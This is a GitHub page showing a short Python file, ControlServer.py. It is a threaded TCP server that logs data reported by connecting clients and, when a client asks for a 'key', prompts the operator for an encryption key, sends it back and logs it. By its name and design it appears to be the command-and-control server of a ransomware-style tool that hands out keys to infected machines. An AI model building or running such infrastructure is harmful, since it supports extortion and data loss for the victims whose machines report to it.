-
-
Notifications
You must be signed in to change notification settings - Fork 40
Expand file tree
/
Copy pathControlServer.py
More file actions
66 lines (58 loc) · 2.55 KB
/
Copy pathControlServer.py
File metadata and controls
66 lines (58 loc) · 2.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import socket
import threading
import json
import logging
from colorama import init, Fore, Style
init(autoreset=True)
class ControlServer:
def __init__(self, host, port, log_file):
self.host = host
self.port = port
self.server = None
self.setup_logging(log_file)
def setup_logging(self, log_file):
logging.basicConfig(filename=log_file, level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s')
def handle_client(self, connection, address):
try:
data = connection.recv(1024)
if not data:
return
message = json.loads(data.decode())
if 'request' in message and message['request'] == 'key':
print(f"Key request received from: {address}")
key = input(f"{Fore.RED}Please enter the encryption key: {Style.RESET_ALL}")
response = json.dumps({'key': key})
connection.sendall(response.encode())
logging.info(key)
else:
logging.info(f"Data received from {address}: {message}")
print(f"{Fore.GREEN}Data received: {address}. {message}{Style.RESET_ALL}")
except json.JSONDecodeError:
logging.error("Invalid JSON data received.")
finally:
connection.close()
def start(self):
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.bind((self.host, self.port))
self.server.listen(5)
logging.info(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}.{Style.RESET_ALL}")
print(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}{Style.RESET_ALL}")
try:
while True:
connection, address = self.server.accept()
logging.info(f"Connection established from {address}.")
print(f"Connection established from {address}")
client_thread = threading.Thread(target=self.handle_client, args=(connection, address))
client_thread.start()
except KeyboardInterrupt:
logging.info("Shutting down the server.")
print("Server shut down")
finally:
self.server.close()
if __name__ == "__main__":
HOST = '0.0.0.0' # Listen on all interfaces
PORT = 12345 # Port number
LOG_FILE = 'server_log.txt' # Name of the log file
control_server = ControlServer(HOST, PORT, LOG_FILE)
control_server.start()